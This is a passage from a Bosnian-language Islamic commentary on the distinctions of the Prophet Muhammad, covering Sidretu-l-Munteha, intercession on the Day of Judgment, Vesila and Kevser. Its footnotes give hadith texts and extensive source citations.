8833); Tahavi u Šerh muškil el-asar (br. 586); Malik u Muvetti po rivajetu Jahje ibn Jahje Lejsija (br. 1635); Bejheki u Es-Sunen el-kubra (br. 20887), Šu'b el-iman (br. 165, 181, 303, 1592, 10047, 10606’), El-Esma’ ve es-sifat (br. 415-419, 421, 425, 493, 546, 563, 601, 602, 686, 687, 1033), El-Ba's ve en-nušur (br. 177, 178, 609), El-Kada’ ve el-kader (El-Bejheki, El-Kada’ ve el-kader, Mektebe El-Abikan, Rijad, 2000, br. 14, 15, 19, 20, 23-27, 185, 186, 464, 562); Abdurrezzak u Musannefu (br. 20067-20069); Abd ibn Humejd u Musnedu (br. 947, 1184); Ebu Avane u Mustahredžu (br. 437); Ahmed u Musnedu (br. 15, 2546, 2692, 7387, 7588, 7589, 7635, 7636, 7856, 9176, 9623, 9792, 12153, 13562, 13590); Haris u Musnedu (br. 739); Ibn Ebu Asim u Kitab es-sunne (br. 137-143, 145, 696, 812); Ishak ibn Rahevejh u Musnedu (br. 119, 184,1421); Ibn Dža'd u Musnedu (br. 1061-1063); Humejdi u Musnedu (br. 371, 1115); Kadai u Musned Eš-Šihab (br. 1458); Ebu Davud Tajalisi u Musnedu (br. 2122); Ibn Nedždžad u Omerovom musnedu (Ibn En-Nedždžad,Musned Umer ibn Hattab, www.alsunnah.com, br. 14); Ibn Asakir u Mu'džemu (br. 329, 430, 1486); Ibn Ebu Šejbe u Musannefu (br., 31674, 31675, 31677); Mervezi u Musnedu Ebu Bekra (br. 15); Ibn Mubarek u Musnedu (br. 101); Ebu Nuajm u Musnedu (br. 478-480, 482-485), Hilje el-evlija’ (sv. 1, str. 73, sv. 6, str. 29, 92, 117, 120, 210, sv. 7, str. 9, 244, sv. 8, str. 24, 263, sv, 9, str. 205, 244, sv. 10, str. 19); Seid ibn Mensur u Et-Tefsir min es-Sunen (br. 960); Hadždžadž Mervezi u Ta'zim kadr es-sala (br. 262-267, 270-274, 366); Firjabi u Kaderu (El-Firjabi, Kitab el-kader, Edva’ es-selef, Rijad, 1997, br. 107-109, 113-118, 120, 209); Dulabi u El-Kuna ve el-esma’ (br. 905); Ebu Bekr ibn Hallal u Sunnetu (br. 1690); Ebu Bekr Šafija u Gajlanijjatima (br. 161); Adžurri u Šerijatu (br. 184, 352-354, 356, 681, 683-694,749-751, 753, 754, 809, 2072); Ebu Tahir Muhallis u Muhallisijjatima (br. 217-219, 551, 1808); Ibn Mende u Imanu (br. 10-12, 861, 862, 864, 865, 873, 879, 881-883), Tevhidu (br. 77, 213, 214); Lalikai u Šerhu (br. 367, 512, 552, 579, 693, 1030-1033, 1035-1037, 2062); Begavi u Šerh es-sunne (br. 68, 4333, 4334, 4347); Kadi-l-Maristan u Mešihi (br. 515); Ismail ibn Džafer u Hadisima (Ismail ibn Džafer, El-Ehadis, Mektebe Er-Rušd, Rijad, 1998, br. 169) i dr.
49 Sidretu-l-Munteha u prijevodu znači Lotos Kraja, odnosno Lopoč Kraja. Opis Sidretu-l-Munteha se nalazi u brojnim hadisima i predajama. Tako Ebu Tahir Muhallis u Muhallisijjatima bilježi predaju od Ka'baAhbara u kojoj se nalazi podugi podroban opis Sidretu-l-Muntehe: Sidretu-l-Munteha je na granici sedmog neba uz Džennet. Ona je na granici koja je i dunjaluk i ahiret. Cijela je u Džennetu. Njene žile i grane su ispod Kursijja. Na njoj su meleci čiji broj samo Allah zna. Oni robuju (ibadet čine) Allahu na njenim grana. Na površini koliko je dlaka ima jedan melek. Džibrilovo mjesto je na njenoj sredini… Tirmizi bilježi u Sunenu od Esme bint Ebu Bekr da je rekla: Čula sam Allahovog poslanika da je spomenuo Sidretu-l-Munteha i kazao: Jahač putuje u sjenci njenih grana stotinu godina ili stotinu konjanika nađe hlad u njenoj hladovini (nije siguran Jahja). Na njoj je zlatni pokrivač. Njeni plovodi su poput krčaga.
Sidetu-l-Munteha se spominje u Kur'anu na dva mjesta u dva ajeta, i to oba puta u kontekstu Miradža poslanika Muhammeda, s.av.s. Spomenuti ajeti su u suri En-Nedžm: On ga (Džibrila) je i drugi put vidio, kod Sidretu-l-Muntehaa, kod kojeg je džennetsko prebivalište, kad je Sidru pokrivalo ono što je pokrivalo. (En-Nedžm, 12-16).
50 Poslanikov boravak kod Sidretu-l-Muntehaa i tamošnji razgovor sa Uzvišenim Allahom se spominju i u Hadisu Božijeg poslanika, s.a.v.s, tačnije u hadisu o Israu i Miradžu.Hadis je vjerodostojan (sahih). Hadis u inačicama,ukojima se spominje Sidretu-l-Munteha, prenose sljedeći ashabi: Aiša,Abdullah ibn Mesud, Abdullah ibn Abbas, Ebu Seid Hudri,Enes ibn Malik, Ebu Hurejre, Zubejr ibn Avvam, Malik ibn Sa'sa’,EbuZerr, Ebu Habbe Ensari, Esad ibn Zurare.Tekst jedne od najvjerodostojnijih verzija bilježi Buhari u Sahihu od Malika ibn Sa'sa'a preko Enesa ibn Malika.Dio ovog hadisa u kome se govori o Sidretu-l-Munteha glasi:…Onda se popeo na sedmo nebo,pa je Džibril zatražio da se ona otvore. “Ko je to?”, upitano je. “Džibril”, on odgovori. “A ko je s tobom?”, pitan je. “Muhammed”, odgovorio je. “Zar mu je objavljeno?”, pitan je. “Jeste”; odgovori on. “Dobro došao! Divan li je gost došao”,Ušao sam, kad tu Ibrahim. “Ovo je tvoj otac, poselami ga”, reče Džibril. Poselamio sam ga, pa mi je on uzvratio i rekao: “Dobro došao, sine dobrog i dobri vjerovjesniče!” Onda mi je podignuta Sidretu-l-Munteha (Lotos Kraja). Plodovi su joj poput krčaga Hedžera (pokrajina u Hidžazu, op.p.), a listovi kao slonove uši.”Ovo je Sidretu-l-Munteha”, kazao je Džibril. Pošto su tu četiri rijeke, dvije skrivene i dvije uočljive, upitah : “Džibrile, šta je ovo dvoje?” Glede dvaju skrivenih to su dvije rijeke džennetske, a glede dvaju uočljivih, to su Nil i Eufrat. Onda mi je podignuta Bejtu-l-ma'mur (Skladna Kuća, tj. Nebeska Ka'ba… Hadis, u verzijama u kojima se spominje Sidretu-l-munteha, bilježe sljedeći autori hadiskih zbirki: Ibn Dža'd u Musnedu (br. 2713); Ibn Ebu Šejbe u Musnedu (br. 291, 358), Musannefu (br. 31697, 31717,33965, 36570, 36578); Ahmed u Musnedu (br. 1416, 3665, 3862, 3864, 3915, 4011, 4396, 12301, 12505, 12673, 17833-17837, 21288); Buhari u Sahihu (br. 349, 3207, 3342, 3887, 5610, 7517); Muslim u Sahihu (br. 429, 433, 449); Tirmizi u Sunenu (br. 3276, 3278, 3360); Darimi u Er-Redd ala El-Džehmijje (br. 107-109); Haris u Musnedu (br. 27); Ibn Ebu Asim u Kitab es-sunne (br. 591); Bezzar u Musnedu (br. 1809, 2028, 6565, 7016, 7017, 9518); Nesai u Sunenu (br. 448, 450, 451), Es-Sunen el-kubra (br. 311, 11469, 11478); Ebu Ja'la u Musnedu (br. 2656, 3185, 3450, 3499, 4993, 5303, 5360); Ibn Huzejme u Sahihu (br. 301); Serradž u Hadius (2585, 2594, 2596, 2597, 2599, 2678, 2680); Ebu Avane u Mustahredžu (br. 337-339, 343-346, 354, 355, 357, 8134); Šaši u Musnedu (br. 662); Ibn Hibban u Sahihu (br. 48, 50, 6428, 7406, 7415); Adžurri u Šerijatu (br. 1026); Taberani u El-Mu'džem el-kebir (br. 10569, 10705, 12595, 16269); El-Mu'džem el-evsat (br. 2885, 3996, 5125), El-Mu'džem es-sagir (br. 1139), Musned Eš-Šamijjin (br. 341, 1614, 2579, 2812); Taberi u Tehzib el-asar (br. 2761, 2762, 2764, 2768, 2776); Darekutni u Sunenu (br. 33); Ebu Tahir Muhallis u Muhallisijjatima (br. 326, 1948); Ibn Mende u Imanu (br. 706-708, 712-718, 741), Tevhidu (br. 20); Hakim u Mustedreku (br. 271, 272); Lalikai u Šerhu (br. 1423, 1424, 1969, 1970); Ebu Nuajm u Musnedu (br. 413, 416-420, 434), Et-Tibb en-Nebevijj (Ebu Nuajm el-Asbahani, Et-Tibb en-Nebevijj, Dar Ibn Hazm, Bejrut, 2006, br. 804), Hilje el-evlija’ (sv. 3, str. 61, sv. 4, str. 168, sv. 5, str. 24), Sife el-Dženne (br. 302, 435); Bejheki u Es-Sunen es-sagir (br. 253, 959, 1600), Es-Sunen el-kubra (br. 1259, 9977, 11765), Delail en-nubuvve (br. 665, 668, 670-672, 677, 679, 2218), Šu'b el-iman (br. 2177); El-Esma’ ve es-sifat (br. 927, 930), El-Ba's ve en-nušur (br. 181-183), Ma'rife es-sunen ve el-asar (br. 1902); Begavi u Šerh es-sunne (br. 3752-3754, 3756); Kadi-l-Maristan u Mešihi (br. 248, 551); Tujuri u Tujurijjatima (br. 930) i dr.
Pored hadisa o Isra i Miradžu, Sidretu-l-munteha se spominje i ud rugim Poslanikovim hadisima, te predajama od ashaba i tabiina. Hadise i predaje prenose, između ostalih, sljedeći ashabi:Abdullah ibn Mesud, Abdullah ibn Abbas, Esma bint Ebu Bekr,Enes ibn Malik, Semure ibn Džundub. Među tabiinima predaje prenose:Ka'b Ahbar, Dahhak, Mudžahid, Ikrime, Gazvan ibn Džerir,Musarrif ibn Amr, Muhammed ibnKa'b Karezi, Haris ibn Esed. U njihovim verzijama dotične hadise i predaje bilježe idući muhaddisi: Ibn Ebu Šejbe u Musannefu (br. 33962, 34116, 34116, 34951, 35872, 36579-36581); Tirmizi u Sunenu (br. 2541); Ibn Ebu Asim u El-Ahadveel-mesani (br. 3141); Serradž u Hadisu (br. 1395);Ibn E'arabiu Mu'džemu (br. 2166); Taberani u El-Mu'džem el-kebir (br. 7001, 9076, 20255); Darekutni u Ru'je Allah (br. 274);Ebu Tahir Muhallis u Muhallisijjatima (br. 1758, 2235, 3090);Hakim u Mustedreku (br. 3748); Temamu Fevaidu (br. 402); Lalikai u Šerhu (br. 906, 907); Ebu Nuajm u Hilje el-evlija’ (sv. 3, str. 215, sv. 10, str. 105); Bejheki u Delail en-nubuvve (br. 3175), El-Esma’ ve es-sifat (br. 933, 941) i dr.
17., 18. I 19. VID

17. Među njima jeste da je kazao: Mi smo posljednji stanovnici dunjaluka, a prvi na Sudnjem danu. Presudit će nam se prije ostalih ljudi. Mi smo prvi koji će ući u Džennet.51
18. Među njima jeste da kada je općenito spomenuo vođstvo, pobliže ga je odredio sa: na Sudnjem danu, prvi kome će zemlja raspuknuti na Sudnjem danu, prvi koji će se zauzimati, prvi čije će zauzimanje biti primljeno.52
19. Među njima jeste da je Muhammed, s.a.v.s., obaviješten da će mu se cjelokupno čovječanstvo obratiti na Sudnjem danu, čak i Ibrahim, a.s.53
OBRADA I KOMENTAR:
51 U pitanje je značenje jednog dijela izvjesnog hadisa Božijeg poslanika, s.a.v.s, a ne jednom njegovom dijelu ili cjelokupnom njegovom tekstu. Hadis je vjerodostojan (sahih). Hadis u jednoj verziji, koju prenosi Muslim u Sahihu od Ebu Hurejre, r.a., Huzejfe, r.a., i Rib'ija, r.a., glasi: Allah je udaljio one prije nas od petka. Tako su židovi imali subotu, a hrišćani nedjelju. Onda nas je Allah stvorio, i uputio na petak. Zatim je učinio da bude petak, pa subota, pa nedjelja. Tako i oni (jevreji i hrišćani) dolaze poslije nas na Sudnjem danu.Mi smo posljednji stanovnici dunjaluka, a prvi na Sudnjem danu. Presudit će nam se prije ostalih ljudi. Spomenuti hadis u njegovim inačicama prenose sljedeći ashabi: Abdullah ibn Mesud, Ebu Hurejre, Alija ibn Ebu Talib, Huzejfe ibn Jeman, Rib'i ibn Hiraš. Prenosi se i predaja od tabiina Vehba ibn Munebbiha. Hadis bilježe sljedeći muhaddisi u njegovim verzijama: Ismail ibn Džafer u Hadisima (br. 157); Ebu Davud Tajalisi u Musnedu (br. 115); Šafija u Musnedu (br. 262-264); Humejdi u Musnedu (br. 984, 985); Ibn Ebu Šejbe u Musnedu (br. 373), Musannefu (br. 31648); Ishak ibn Rahevejh u Musnedu (br. 291); Ahmed ibn Hanbel u Musnedu (br. 7310, 7399, 7401, 7402, 7706, 7707, 8115, 8503, 10122, 10530, 10548); Buhari u Sahihu (br. 238, 876, 896, 2956, 3486, 6624, 6887, 7036, 7495); Muslim u Sahihu (br. 2015-2019); Ibn Madždže u Sunenu (br. 1083); Ibn Mubarek u Musnedu (br. 107, 114); Bezzar u Musnedu (br. 8716, 9671, 9769, 9770); Nesai u Sunenu (br. 1367), Es-Sunen el-kubra (br. 1665, 1666); Ebu Ja'la u Musnedu (br. 6216, 6269); Ibn Huzejme u Sahihu (br. 1720); Ebu Avane u Mustahredžu (br. 442, 2533-2541, 2560, 6031, 7093); Ibn Hibban u Sahihu (br. 3217); Taberani u Musned Eš-Šamijjin (br. 136); Dževheri u Musnedu Muvette (br. 576); Darekutni u Sunenu (br. 1578); Ebu Tahir Muhallis u Muhallisijjatu (br. 2568); Ebu Nuajm u Musnedu (br. 1924-1928), Sife el-Dženne (br. 78); Bejheki u Es-Sunen es-sagir (br. 598), Es-Sunen el-kubra (br. 1421, 5565-5569, 5662), Delail en-nubuvve (br. 343, 679, 2221, 2231), Šu'b el-iman (br. 2706), Fedail el-evkat (El-Bejheki, Fedail el-evkat, Mektebe El-Munare, Mekka, 1990, br. 248), Ma'rife es-sunen ve el-asar (br. 6271-6281); Begavi u Šerh es-sunne (br. 1045, 2477); Ibn Asakir u Mu'džemu (br. 1101) i dr.
52 Navedeni vid odlikovanosti Božijeg poslanika, s.a.v.s., izveden je iz hadisa Božijeg poslanika koga u sljedećoj verziji bilježi Ibn Madždže u Sunenu od Ebu Seida Hudrija, r.a: Ja sam vođa Ademovih sinova. Ja sam prvi kome će zemlja raspuknuti na Sudnjem danu, i to nije hvalisanje. Ja sam prvi koji će se zauzimati i prvi čije će zauzimanje biti primljeno, i to nije hvalisanje. U moj je ruci bajrak na Sudnjem danu, i to nije hvalisanje. Dijelove ovog hadisa smo obradili u bilješkama br. 3,4,5, a jednu potpunu verziju u bilješci br. 9. Vidi bilješke br. 3 i 9 za tahridž hadisa.
53 Upućuje na dug hadis Božijeg poslanika, s.av.s., čije smo dijelove već obradili u bilješkama br. 7 i 8. Vidi bilješke br. 7 i 8 za tahridž svih verzija ovog hadisa. Donosimo dio verzije ovog hadisa koju bilježi Buhari u Sahihu od Ebu Hurejre, r.a: Ja sam vođa ljudi na Sudnjem danu. A da li znate zašto? Allah će skupiti ljude, prve i posljednje na jednoj visoravni. Čut će onoga koji poziva, vid će im se izoštriti, sunce će se približiti. Ljude će snaći briga i nedaće koje neće moći podnijeti niti će moći izdržati .Zatim će ljudi reći: “Zar ne vidite što vas je snašlo? Zar ne primjećujete ko će se zauzimati za vas kod vašeg Gospodara?” Onda će jedni ljudi reći drugima: “Držite se Adema”, pa će doći Ademu, a.s i saopćiti mu: “Ti si otac čovječanstva. Allah te je stvorio Svojom Rukom. Udahnuo je u tebe Svoga Duha. Naredio je melekima da ti učine sedžu. Zauzimaj se za nas kod svog Gospodara. Zar ne vidiš u čemu smo? Zar ne vidiš što nas je snašlo?” Potom će Adem reći: ” Doista se moj Gospodar naljutio na mene danas takvom žestinom kako se nije naljutio ranije, niti će naljutiti kasnije. On mi je zabranio drvo, pa ga nisam poslušao. Moja duša, moja duša, moja duša! Idite nekom drugom. Idite Nuhu.”Onda su došli Nuhu… Potom su došli Ibrahimu, pa su mu saopćili: “Ibrahime, ti si Allahov vjerovjesnik i Njegov prijatelj među stanovnicima zemlje. Zauzimaj se za nas kod svog Gospodara. Zar ne vidiš u čemu smo?” Onda im je on poručio: “Doista se moj Gospodar naljutio na mene danas takvom žestinom kako se nije naljutio ranije, niti će naljutiti kasnije. Tri sam laži slagao. Moja duša, moja duša, moja duša! Idite nekom drugom. Idite Musau.” Zatim su došli su Musau…Potom su došlo Isau…Onda su došli Muhammedu, te mu kazali: “Muhammed, ti si Allahov poslanik i pečat vjerovjesnika. Allah ti je, doista, oprostio ranije i kasnije grijehe. Zauzimaj se za nas kod Svog Gospodara. Zar ne vidiš u čemu smo?” Potom sam otišao, i došao ispod Arša (Prijestolja), te pao na seždu svome Gospodaru, Slinom i Uzvišenom. Onda mi je Allah zbog pohvala i lijepe zahvalnosti prema Njemu otvorio nešto što nije otvorio nikome prije mene. Potom je kazao: “Muhammede, podigni glavu. Pitaj, bit će ti dano. Zauzimaj, zauzimanje će ti biti primljeno.” Podigao sam glavu, pa sam izustio: “Moj ummet, Gospodaru. Moj ummmet, Gospodaru.”…
20. I 21. VID
20. Među njima jesta da je kazao: Vesila (Ugledni položaj)54 je mjesto u Džennetu. Ona treba pripasti samo jednom robu Uzvišenog Allaha, a ja se nadam da sam ja taj. Stoga, ko traži za mene Vesilu, bit će mu dozvoljeno zauzimanje (šefaat).55
21. Među njima jeste da će sedamdeset hiljada pripadnika njegovog ummeta ući u Džennet bez polaganja računa.56 Inače, to nije povrđeno ni za koga pored Muhammeda, s.a.v.s.
OBRADA I KOMENTAR:
56 Značenje Vesile je sasvim dovoljno pojašnjeno u tom hadisu Božijeg poslanika, tako da nema potrebe za podrobnijim objašnjenjima.
57 Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Abdullah ibn Abbas, Abdullah ibn Omer, Abdullah ibn Amr ibn As, Ebu Seid Hudri. Bilježe ga u njegovim verzijama idući pisci hadiskih zbirki: Abdurrezzak u Musannefu (br. 3120); Ibn Ebu Šejbe u Musannefu (br. 29590, 31784); Ishak ibn Rahevejh u Musnedu (br. 297, 365); Ahmedu u Musnedu (6568, 7598, 8770, 11783); Abd ibn Humejd u Musnedu (br. 354, 688); Muslim u Sahihu (br. 875); Tirmizi u Sunenu (br. 3612, 3614); Haris u Musnedu (br. 1062); Bezzar u Musnedu (br. 2453, 9370); Nesai u Es-Sunen el-kubra (br. 1654, 1656, 9790), Sunenu (br. 678), Amel el-jevm ve el-lejle (En-Nesai, Amel el-jevm ve el-lejle, Muesse Er-Risale, Bejrut, 1986, br. 45); Ebu Ja'la u Musnedu (br. 6414); Huzejme u Sahihu (br. 418); Serradž u Musnedu (br. 63); Ebu Avane u Mustahredžu (br. 983-985); Tahavi u Šerh muškil el-asar (br. 878); Ibn E'arabi (br. 2080); Fakihi u Fevaidu (br. 105, 106); Ibn Hibban u Sahihu (br. 1690, 1691); Taberani El-Mu'džem el-evsat (br. 263, 633, 1466, 3923), Musned Eš-Šamijjin (br. 246); Ibn Sunni u Amel el-jevm ve el-lejle (br. 93); Ebu Nuajm u Musnedu (br. 842), Hilje el-evlija’ (sv. 7, str. 96); Bejheki u Es-Sunen es-sagir (br. 295), Es-Sunen el-kubra (br. 1930, 1931), Ed-Da'vat el-kebir (Bejheki,Ed-Da'vat el-kebir, Giras, Kuvajt, 2009, br. 50); Begavi u Šerh es-sunne (br. 421); Ibn Asakir u Mu'džemu (br. 13) i dr.
Takođe, postoje vjerodostojni (sahih) hadisi o dovama u kojima se, između ostalog, traži od Uzvišenog Allaha da daruje Muhammmedu, s.a.v.s., Vesilu. Uglavnom je riječ o ezanskoj dovi i dovi nakon namaza. Te hadise prenose sljedeći ashabi: Džabir ibn Abdullah, Abdullah ibn Mesud, Ebu Umame Sudejj ibn Adžlan Bahili. Bilježe ih u njihovim verzijama sljedeći pisci: Abdurrezzak u Musannefu (br. 1911), Ahmed u Musnedu (br. 14817); Buhari u Sahihu (br. 614, 4719); Ibn Madždže u Sunenu (br. 722); Ebu Davud (br. 523, 529); Tirmizi u Sunenu (br. 211); Ibn Ebu Asim u Kitab es-sunne (nr. 826); Nesai u Es-Sunen el-kubra (br. 9791), Sunenu (br. 680), Amel el-jevm ve el-lejle (br. 46); Huzejme u Sahihu (br. 420);Serradž u Hadisu (br. 1931, 2582), Musnedu (br. 57); Tahavi u Šerh muškil el-asar (br. 894, 895); Ebu Bekr Šafija u Gajlanijjatima (br. 403); Ibn Hibban u Sahihu (br. 1689, 1692); Taberani u Ed-Dua (Et-Taberani, Ed-Dua, Dar El-Kutub el-ilmijje, Bejrut, 1992/93, br. 430, 433), El-Mu'džem el-kebir (br. 7942, 9810, 12584), El-Mu'džem el-evsat (br. 4654, 9335), El-Mu'džem es-sagir (br. 670), Musned Eš-Šamijjin (br. 2972); Ibn Sunni u Amel el-jevm ve el-lejle (br. 95, 99, 132); Bejheki u Ed-Da'vat el-kebir (br. 49); Es-Sunen es-sagir (br. 296), Es-Sunen el-kubra (br. 1932, 1933); Begavi u Šerh es-sunne (br. 420); Ibn Asakir u Mu'džemu (br. 495) i dr.
58 Aludira na časni hadis, koji glasi: Od Ebu Hurejre, r.a. da je Božiji vjerovjesnik, s.a.v.s., kazao:”Sedamdeset hiljada pripadnika moga ummeta će ući u Džennet bez polaganja računa.” Potom je rekao neki čovjek: “Božiji Poslaniče, moli Allaha da me uvrsti među njih.” On je odgovorio: “Allahu, uvrsti ga među njih.” Onda je ustao neko drugi i rekao: “Božiji poslaniče, moli Allaha da me uvrsti među njih.” On odgovori: “Pretekao te je Ukkaše.” Inače, ovo je jedna od najkraćih verzija ovog hadisa koju bilježi Muslim u Sahihu od već spomenutog Ebu Hurejre, r.a. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Enes ibn Malik, Abdullah ibn Mesud, Abdullah ibn Omer, Abdullah ibn Abbas, Džabir ibn Abdullah, Ebu Bekr Siddik, Alija ibn Ebu Talib, Imran ibn Husajn, Ummu Kajs bint Mihsan, Abdurrahman bint Ebu Bekr, Esma bint Ebu Bekr, Ebu Umame Sudejj ibn Aždlan Bahili, Rifa’ ibn Arabe Džuheni, Sehl ibn Sa'd, Ebu Ejjub Ensari, Sevban, Ebu Seid Ensari Enmari, Habbab, Feltan ibn Asim, Semure ibn Džundub, Suhejb, Utbe ibn Abd Sulemi, Huzejfe ibn Jeman. Verzije ovog hadisa bilježe idući muhaddisi: Ma'mer ibn Rašid u Džami’ (br. 19519); Ebu Davud Tajalisi u Musnedu (br. 350, 404, 1387, 1740); Ibn Dža'd u Musnedu (br. 1145, 2849); Ibn Ebu Šejbe u Musnedu (br. 352, 401, 795), Musannefu (br. 23621, 23624, 31714, 31739, 31741, 37368); Ishak ibn Rahevejh u Musnedu (br. 76, 2919; Ahmed u Musnedu (br. 22, 1706, 2448, 2952, 3806, 3819, 3964, 3987, 4339, 8016, 8614, 8707, 9202, 9883, 10548, 13356, 14721, 15115, 16215-16218, 19913, 19966, 19984, 22156, 22303, 22418, 22839, 23336, 23505, 269929); Abd ibn Humejd u Musnedu (br. 459); Darimi u Sunenu (br. 2849); Buhari u Edeb el-mufred (El-Buhari, Edeb el-mufred, Dar El-Bešair el-islamijje, Bejrut, 1989, br. 911), Sahihu (br. 3247, 5705, 5752, 5811, 6472, 6541-6543, 6554); Muslim u Sahihu (br. 542-549); Fakihi u Ahbar Mekke (br. 2370); Ibn Madždže u Sunenu (br. 4285, 4286); Tirmizi u Sunenu (br. 2437, 2446); Ibn Ebu Asim u El-Ahad ve el-mesani (br. 249, 455, 1247, 2211, 2561, 2825); Kitab es-sunne (br. 588, 589, 814); Bezzar u Musnedu (br. 1441, 2120, 2139, 2268, 3565, 3700, 4672, 5116, 6398, 6636, 7197, 7795, 9112, 9470); Nesai u Es-Sunen el-kubra (br. 7560); Ebu Ja'la u Musnedu (br. 112, 3783, 5318, 5339, 5340, 7512); Ruvejani u Musnedu (br. 74, 1056); Serradž u Hadisu (br. 314, 1932, 2549, 2630, 2656-2661, 2670-2672), Musnedu (br. 848); Ebu Avane u Mustahredžu (br. 243-248, 364-371); Tahavi u Šerh muškil el-asar (br. 358, 7141); Šaši u Musnedu (br. 274, 660); Ibn E'arabi (br. 105, 1439); Ebu Bekr Šafija u Gajlanijjatima (br. 112, 925-927, 929, 930); Ibn Hibban u Sahihu (br. 212, 6084, 6089, 6430, 6431, 6580, 7244, 7246, 7247, 7346); Adžurri u Šerijatu (br. 795); Taberani u El-Mu'džem el-evsat (br. 402, 404, 967, 1212, 2373, 2506, 3705, 4930, 7075, 9075, 9166); El-Mu'džem el-kebir (br. 2826, 3620, 3883, 5939, 7120, 7681, 7688, 9786-9791, 12439, 14000, 15090, 15134-15137, 15204, 15315, 15564, 15665, 18623, 20261, 21563), Musned Eš-Šamijjin (br. 820, 831, 954, 1657, 1889, 1968, 2805, 2860, 2863, 3010, 3163); Ebu Fadl Zuhri u Hadisu (Ebu Fadl Ez-Zuhri, El-Hadis, Mektebe Edva’ es-selef, Rijad, 1998, br. 3); Ibn Mukri’ u Mu'džemu (Ibn el-Mukri’, El-Mu'džem, Mektebe Er-Rušd, 1998, br. 887, 1185); Darekutni u Ru'je Allah (br. 50); Ebu Tahir Muhallis u Muhallisijjatima (br. 2423); Ibn Mende u Imanu (br. 850, 970-984);Hakim u Mustedreku (br. 3147, 6934, 8278, 8469, 8721); Temam u Fevaidu (br. 1004); Ebu Nuajm u Musnedu (br. 472, 519-527), Hilje el-evlija’ (sv. 2, str. 13, 248, 286, sv. 8, str. 184), Sife el-Dženne (br. 242, 245-247, 252, 253); Bejheki u Es-Sunen el-kubra (br. 18464, 19545, 20484), Delail en-nubuvve (br. 2532), Adabu (br. 712), El-Esma’ ve es-sifat (br. 723), El-Ba's ve en-nušur (br. 134, 274, 416), Šu'b el-iman (br. 264, 400, 1122), Ma'rife es-sunen ve el-asar (br. 19345); Begavi u Šerh es-sunne (br. 4107, 4322, 4323, 4335), Ibn Asakir u Mu'džemu (br. 176, 481) i dr.
22. VID
22. Među njima jeste Kevser57 koji mu je dan u Džennetu58, te Izvor (Havd)59 koji mu je dan na Stajalištu (Mevkifu)60.
OBRADA I KOMENTAR:
57 Kevser je posebna rijeka, vrelo u Džennetu koja je data Muhammedu, s.a.v.s. Kevser. Čast da se napije sa Kevsera imat će samo istinski sunija, tj. onaj koji je slijedio Sunnet (ispravnu praksu) Muhammeda, s.a.v.s. Spominje se jednom u Kur'anu: Doista smo ti dali Kevser. (El-Kevser, 1) Takođe, spominje se u brojnim hadisima.
58 Upućuje na hadise koji govore o Kevseru. Hadisi su vjerodostojni (sahih). Prenose ih sljedeći ashabi: Aiša, Enes ibn Malik, Ebu Seid Hudri, Ebu Hurejre, Abdullah ibn Abbas, Abdullah ibn Omer, Abdullah ibn Mesud, Abdullah ibn Amr ibn As, Ebu Zerr, Ummu Seleme, Huzejfe ibn Jeman, Fadl ibn Abbas, Hasan. Prenose ih i sljedeći tabiini: Seid ibn Džubejr, Ikrime, Ata’ ibn Ebu Rebah, Jezid ibn Ruman. Donosimo jednu od najpoznatijih verzija hadisa o Kevseru koju bilježi Buhari u Sahihu od Enesa ibn Malika, r.a: Nakon što je Vjerovjesnik, s.a.v.s., bio uzdignut na nebo kazivao je: Došao sam na rijeku čije su obale bile od ležišta bisera izdubljenog, pa sam upitao: “Šta je ovo, Džibrile?” Odgovorio je: “Ovo je Kevser.” Hadise o Kevseru bilježe u svojim hadiskim zbirkama sljedeći pisci: Ismail ibn Dža'fer u Hadisima (br. 45); Ebu Davud Tajalisi u Musnedu (br. 2045, 2104); Ibn Ebu Šejbe u Musannefu (br. 4628, 31654, 31655, 31661, 31662, 31766, 31794, 31795, 34097-34099, 34105, 37178, 31179); Ishak ibn Rahevejh u Musnedu (br. 1865); Ahmed u Musnedu (br. 3787, 5355, 5913, 6476, 11994, 11996, 12008, 12151, 12542, 12675, 12989, 13156, 13306, 13425, 13475, 13480, 13484, 13485, 13578, 13776, 14079, 23335, 26403); Abd ibn Humejd u Musnedu (br. 1187); Darimi u Sunenu (br. 2879); Buhari u Sahihu (br. 4964-4966, 6578, 6581, 7517); Muslim u Sahihu (br. 921); Fakihi u Ahbar Mekke (br. 1149); Ibn Madždže u Sunenu (br. 4334); Ebu Davud u Sunenu (br. 784, 4747, 4748); Tirmizi u Sunenu (br. 2542, 3350, 3359-3361); Haris u Musnedu (br. 27); Bezzar u Musnedu (br. 1534, 6608, 6812, 7016, 7017, 7496, 8133); Nesai u Sunenu (br. 904), Es-Sunen el-kubra (br. 979, 11469, 11638-11642); Ebu Ja'la u Musnedu (br. 2876, 3186, 3290, 3529, 3726, 3823, 3951, 3953); Serradž u Hadisu (289, 2546, 2547, 2678); Musnedu (br. 490, 515); Ebu Avane u Mustahredžu (br. 357, 1654, 1655); Ebu Bekr Šafija u Gajlanijjatima (br. 258, 927); Ibn Hibban u Sahihu (br. 6471-6474); Adžurri u Šerijatu (br. 934-936, 1027, 1084-1091, 1096, 1479); Taberani u El-Mu'džem el-kebir (br. 2755, 2883, 2961, 13340, 19948, 20609), El-Mu'džem el-evsat (br. 1974, 2885, 9246), Musned Eš-Šamijjin (br. 95, 2579); Taberi u Tehzib el-asar (br. 2761, 2762, 2766, 2768); Ibn Mende u Imanu (br. 712, 713); Hakim u Mustedreku (br. 266, 3385, 3978, 3979, 3981, 4796, 4811, 4886, 6308); Temam u Fevaidu (br. 233, 1223, 1224); Lalikai u Šerhu (br. 1423, 1442, 1443, 2251); Ebu Nuajm u Musnedu (br. 416, 888), Hilje el-evlija’ (sv. 7. str. 240), Sife el-Dženne (br. 325-328, 342, 404); Bejheki u Es-Sunen el-kubra (2379), Es-Sunen es-sagir (br. 386), Delail en-nubuvve (br. 677, 2871), El-Esma’ ve es-sifat (br. 930), El-Ba's ve en-nušur (br. 113-118, 122-130, 183-185, 265), Šu'b el-iman (br. 2113, 3396), Fedail el-evkat (br. 79); Begavi u Šerh es-sunne (br. 579, 4341, 4343); Kadi-l-Maristan u Mešihi (br. 710); Ibn Asakir u Mu'džemu (br. 470, 471, 761, 904) i dr.
